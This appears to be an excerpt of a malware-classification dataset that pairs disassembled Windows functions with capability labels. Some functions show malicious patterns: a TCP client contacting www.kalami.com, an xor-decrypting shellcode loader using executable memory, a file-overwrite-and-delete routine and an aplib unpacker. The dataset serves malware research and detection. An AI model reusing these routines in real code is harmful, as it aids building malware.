joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4077b4
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x409db4
push 0x790330
mov esi, edx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test esi, esi
je 0x40780d
push 1
xor edx, edx
mov ecx, esi
call fcn.0040773c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
push 0x790330
push esi
call edi
test eax, eax
je 0x407913
cmp eax, 0x400
jg 0x407913
push 0x400
mov esi, 0x78f5e8
push esi
push ebx
call edi
test eax, eax
je 0x407913
cmp eax, 0x400
jg 0x407913
push esi
push 0x790330
push str._s_s_r_n
push 0x78fde8
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [0x792c80]
add esp, 0x10
mov edi, eax
mov ecx, esi
mov dword [ebp - 4], edi
mov edx, dword [edx + 0x128]
call fcn.00407a7b
push 4
mov edx, 0xc0000000
mov ecx, esi
call fcn.0040773c
mov ebx, eax
mov dword [ebp - 0x10], ebx
cmp ebx, 0xffffffff
je 0x407913
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [edi + 0xa]
add ecx, esi
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x40790c
push 0
lea eax, [ebp - 8]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40790c
cmp esi, dword [ebp - 8]
jne 0x40790c
mov edx, str._Rename__r_n
mov ecx, edi
call fcn.004076a4
test eax, eax
jne 0x40791a
push str._Rename__r_n
lea eax, [edi + esi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esi, 0xa
mov ecx, esi
push dword [ebp - 4]
add ecx, edi
mov edx, 0x78fde8
call fcn.004076fb
xor eax, eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
add eax, esi
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [eax + 0xa]
mov edx, 0x409dc0
call fcn.004076a4
mov ecx, eax
test ecx, ecx
je 0x4078d4
mov eax, dword [ebp - 4]
lea edx, [edi + esi]
add eax, edx
cmp edx, ecx
jbe 0x40794d
sub eax, edx
mov dword [ebp - 0xc], eax
mov ebx, eax
mov al, byte [edx]
mov byte [ebx + edx], al
dec edx
cmp edx, ecx
ja 0x407940
mov ebx, dword [ebp - 0x10]
sub ecx, edi
inc ecx
jmp 0x4078d6
Function at 0x407980
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
neg eax
mov byte [esi], bl
sbb eax, eax
and eax, 0x100
or eax, 0x20019
push eax
push ebx
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4079ee
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 0x400
push eax
push esi
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4079dd
cmp dword [ebp + 0xc], 1
je 0x4079df
cmp dword [ebp + 0xc], 2
je 0x4079df
mov byte [esi], bl
push dword [ebp - 4]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x407d94
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x407db6
mov eax, dword [0x40b068]
cmp eax, 0xffffffff
je 0x407dad
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40b068], 0xffffffff
jmp 0x407e30
cmp dword [0x791fc0], 0
je 0x407e30
cmp byte [0x7913c0], 0
je 0x407df9
cmp dword [0x40b068], 0xffffffff
jne 0x407e02
push 4
mov edx, 0x40000000
mov ecx, 0x7913c0
call fcn.0040773c
mov dword [0x40b068], eax
cmp eax, 0xffffffff
je 0x407e30
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40b068], 0xffffffff
je 0x407e30
push esi
push 0x409dd0
mov esi, 0x790bc0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push dword [0x40b068]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407f13
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0x790bc0
mov byte [0x790bc0], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp + 0xc]
push ecx
push dword [ebp + 8]
lea eax, [eax + 0x790bc0]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
xor ecx, ecx
pop ebp
jmp fcn.00407d94
Function at 0x405f01
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a54], 0
push esi
jne 0x405f38
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f12
mov dword [ecx*4 + 0x422a50], eax
inc ecx
cmp ecx, 0x100
jl 0x405f0d
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f69
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a50]
xor eax, esi
inc ecx
dec edx
jne 0x405f4b
pop edi
not eax
pop esi
ret 0xc

Function at 0x1001270
Capabilities:
Parse pe header

Disassembly:
push 0x28
push 0x10010d0
call fcn.0100140c
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x10012ab
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10012ab
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x10012c3
cmp eax, 0x20b
je 0x10012b0
mov dword [ebp - 0x1c], edi
jmp 0x10012d7
cmp dword [ecx + 0x84], 0xe
jbe 0x10012ab
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x10012d1
cmp dword [ecx + 0x74], 0xe
jbe 0x10012ab
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1002060], 0xffffffff
or dword [0x1002064], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x100202c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x1002028]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1002068], eax
call fcn.01001408
cmp dword [section..data], edi
jne 0x1001332
push fcn.01001408
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.010013f6
push 0x100108c
push 0x1001088
call sub.msvcrt.dll__initterm
mov eax, dword [0x1002024]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x1002020]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x1001084
push 0x1001080
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x24]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.01001241
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], edi
jne 0x10013a9
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x10013de
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01001445
ret
Function at 0x40794d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c8f0
cmp edx, dword [eax]
je 0x40796f
add eax, 8
inc ecx
cmp eax, 0x40c980
jl 0x407960
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c8f0]
jne 0x407a9d
mov eax, dword [0xde152c]
cmp eax, 1
je 0x407a77
test eax, eax
jne 0x4079a0
cmp dword [0x40c224], 1
je 0x407a77
cmp edx, 0xfc
je 0x407a9d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4079d7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404790
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404880
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x407a1a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404880
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b47c
push edi
call fcn.004051f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404790
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004047a0
lea eax, [ebp - 0xa0]
push 0x40b45c
push eax
call fcn.004047a0
push dword [esi + 0x40c8f4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004047a0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00409b1c
add esp, 0x2c
pop edi
jmp 0x407a9d
lea eax, [ebp + 8]
lea esi, [esi + 0x40c8f4]
push 0
push eax
push dword [esi]
call fcn.00404880
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0xa14058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00a141a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa1407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa1406a
add dl, dl
jne 0xa14089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa140dc
xor eax, eax
add dl, dl
jne 0xa14096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa1417d
add dl, dl
jne 0xa140a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa140b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa140bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa140c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa140d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa14075
mov eax, 1
add dl, dl
jne 0xa140ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa140f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa140e1
sub eax, ebx
mov ebx, 1
jne 0xa14128
mov ecx, 1
add dl, dl
jne 0xa1410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa14119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa14105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa14075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa1413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa1414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa14136
cmp eax, 0x7d00
jae 0xa1416d
cmp eax, 0x500
jb 0xa14168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa14075
cmp eax, 0x7f
ja 0xa14170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa14075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa1419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa14075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10001120
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x4dde8
call fcn.1000cdc0
mov eax, dword [0x10013004]
xor eax, esp
mov dword [esp + 0x4dde4], eax
push esi
push edi
lea eax, [esp + 0x28]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x4dc24
lea eax, [esp + 0x1c0]
mov dword [esp + 0x1bc], 0xffffffff
push 0
push eax
call fcn.100026b0
add esp, 0xc
mov dword [esp + 0x4dde0], 0x6b637566
mov dword [esp + 0x4dde4], 0x756f7920
mov byte [esp + 0x4dde8], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x1b8], eax
cmp eax, 0xffffffff
je 0x1000129e
mov edi, dword [sym.imp.WS2_32.dll_getaddrinfo]
lea eax, [esp + 0xc]
push eax
push 0
push 0
push str.www.kalami.com
mov dword [esp + 0x1c], 0
call edi
test eax, eax
jne 0x1000129e
nop dword [eax + eax]
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 0x18]
movups xmm0, xmmword [eax]
movzx eax, word [0x10013970]
push eax
movups xmmword [esp + 0x14], xmm0
call dword [sym.imp.WS2_32.dll_htons]
push dword [esp + 0xc]
mov word [esp + 0x16], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x1c0]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000124a
push 0xbb8
call esi
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 0
push 0
push str.www.kalami.com
call edi
test eax, eax
je 0x100011e0
jmp 0x1000129e
push 0
push 0
lea eax, [esp + 0x1c0]
push eax
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 9
lea eax, [esp + 0x4dde8]
push eax
push dword [esp + 0x1c4]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1000129e
cmp dword [esp + 0x1bc], 0
jne 0x1000129e
nop dword [eax]
push 0x64
call esi
cmp dword [esp + 0x1bc], 0
je 0x10001290
push 0xffffffffffffffff
call esi
mov eax, dword [esp + 0x1b8]
cmp eax, 0xffffffff
je 0x100012b5
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x4ddec]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.100012f7
mov esp, ebp
pop ebp
ret
Function at 0x1000724d
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100072ea
push ebx
push esi
call fcn.10007216
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000715f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10007297
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100072e9
push edi
push eax
call fcn.10008204
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100072b7
call fcn.10005d6e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100072e8
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000715f
add esp, 0x20
test eax, eax
jne 0x100072d6
push edi
call fcn.10005d6e
jmp 0x100072de
push ebx
call fcn.10005d6e
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10007555
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e4b0
push 0x1000e4a8
push str.FlsAlloc
push 0x1e
call fcn.10007473
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007589
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d140]
call esi
jmp 0x1000758f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100075d3
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e4c0
push 0x1000e4b8
push str.FlsGetValue
push 0x20
call fcn.10007473
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000760a
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d140]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x401460
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], 0x40b064
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401493
mov dword [esp], str.Error_opening_file
call sym._perror
jmp 0x40152a
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._rewind
mov dword [ebp - 0xc], 0
jmp 0x4014e7
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0xff
call sym._fputc
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jl 0x4014d0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._remove
test eax, eax
jne 0x40151e
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Deleted_file:__s_n
call sym._printf
jmp 0x40152a
mov dword [esp], str.Error_deleting_file
call sym._perror
leave
ret
Function at 0x401d00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401d4b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d44
test esi, esi
je 0x401d44
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d20
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402058
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401fbe
cmp eax, 4
jne 0x401fe0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401fce
cmp edx, 4
je 0x401fce
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f30
Function at 0x41c630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x41c63f
pop dword [ebp - 0x50]
mov eax, 0x8887f21a
add eax, 0x77b9d425
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x4123a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x4253
mov esi, eax
mov edi, 0x81ef960
sub edi, 0x7d70360
add edi, dword [ebp - 0x50]
mov edx, 0x20080e21
add edx, 0xff3ebe46
add dword [ebp - 0x28], ecx
mov ebx, dword [edi]
mov dword [ebp - 0x48], 0xe310bf59
xor ebx, edx
sub dword [ebp - 0x30], 0x3abec5ee
mov dword [esi], ebx
sub dword [ebp - 4], edx
add esi, 0x565cc732
sub esi, 0x565cc72e
add edi, 0xed72aee2
sub edi, 0xed72aede
loop 0x41c693
add eax, 0xfc1f
xor ebx, ebx
add ebx, eax
add eax, 0xed86bdd
add eax, 0xf1279428
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x42208d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x445e00]
jne 0x422097
repz ret
jmp fcn.004281f4
Function at 0x40fd10
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47200b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046654a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40fd92
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046432d
mov eax, dword [eax]
push 0x48ec8c
push eax
call fcn.00456804
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004667d5
test bl, bl
je 0x40fd92
push 0x48ec8c
lea ecx, [esp + 0xc]
call fcn.00466b65
push 0x48ec98
lea ecx, [esp + 0xc]
call fcn.00466b65
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40fdce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004667d5
jmp 0x40fe99
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40fe52
lea edx, [esp + 0x7c]
push 0x48ec94
push edx
call fcn.00456804
add esp, 8
test eax, eax
je 0x40fe52
lea eax, [esp + 0x7c]
push 0x48ec90
push eax
call fcn.00456804
add esp, 8
test eax, eax
je 0x40fe52
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40fde2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004667d5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x410690
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4106f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc